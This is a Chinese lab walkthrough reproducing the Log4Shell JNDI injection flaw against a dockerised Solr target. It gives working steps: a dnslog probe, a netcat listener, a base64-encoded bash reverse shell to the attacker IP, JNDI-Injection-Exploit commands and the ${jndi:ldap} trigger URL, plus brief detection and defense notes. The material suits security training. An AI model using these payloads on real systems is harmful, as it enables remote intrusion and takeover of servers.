1.原理
log4j2是一个记录日志的日志记录框架,他存在漏洞的原因是因为反序列化导致的远程代码执行(rce)。在日志记录的过程中使用了JNDI接口,这个接口调用了lookup方法,可以远程加载java对象。如果没有对这个方法进行限制,攻击者可以构造恶意代码,从而使得服务器被getshell
2.RMI
RMI允许开发者在java平台上实现分布式计算,即允许一个java虚拟机的对象调用另一个java虚拟机的对象。不论他们是在同一个虚拟机的不同进程,还是运行在网络上的不同虚拟机
在网络传输过程中,RMI对象是通过序列化和反序列化传输的,如果攻击者能够修改序列化的数据,他们会插入恶意代码,然后在反序列化的过程中这些代码就会被解析执行,因此RMI可以被作为进行反序列化利用链的触发点
3.实验准备
攻击机kali ip:192.168.3.186
靶机ubuntu ip:192.168.3.163
漏洞利用工具JNDI-Injection-Exploit下载
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
cd JNDI-Injection-Exploit
apt install maven
mvn clean package -DskipTests
最后下载完长这样,这个JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar就是我们要用到
4.漏洞复现
1.启动靶场
docker-compose up -d
2.查看开放端口
docker ps
在网站上输入IP+端口号,即192.168.3.163:8983
3.用dnslog外带检测漏洞
即192.168.3.163:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.8wvhff.dnslog.cn}
4.攻击机打开监听端口
nc -lvvp 6666
5.构造反弹shell
bash -i >& /dev/tcp/192.168.3.186/6666 0>&1
base64加密
Runtime.exec Payload Generater | AresX's Blog (ares-x.com)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTg2LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
6.应用漏洞利用工具JNDI-Injection-Exploit
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "命令"
即
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTg2LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"
ldap://172.22.0.1:1389/d0hok0
7.在浏览器中构造pyload
http://192.168.3.163:8983/solr/admin/cores?action=${jndi:ldap://172.22.0.1:1389/d0hok0}
8.维持权限,横向移动,创建后门等
5.流量特征
请求体和响应体里会有{jndi:ldap}或{jndi:rmi}
6.防御方式
升级版本,禁用lookup方法,禁止外联
7.如何判断log42是否攻击成功
有回显 看回显内容,看攻击结果,看状态码是不是200,看pyload中恶意指令,看反弹shell
无回显 看系统的告警日志里有没有外联,看上下文(跟当前攻击相关的,同类型,同IP)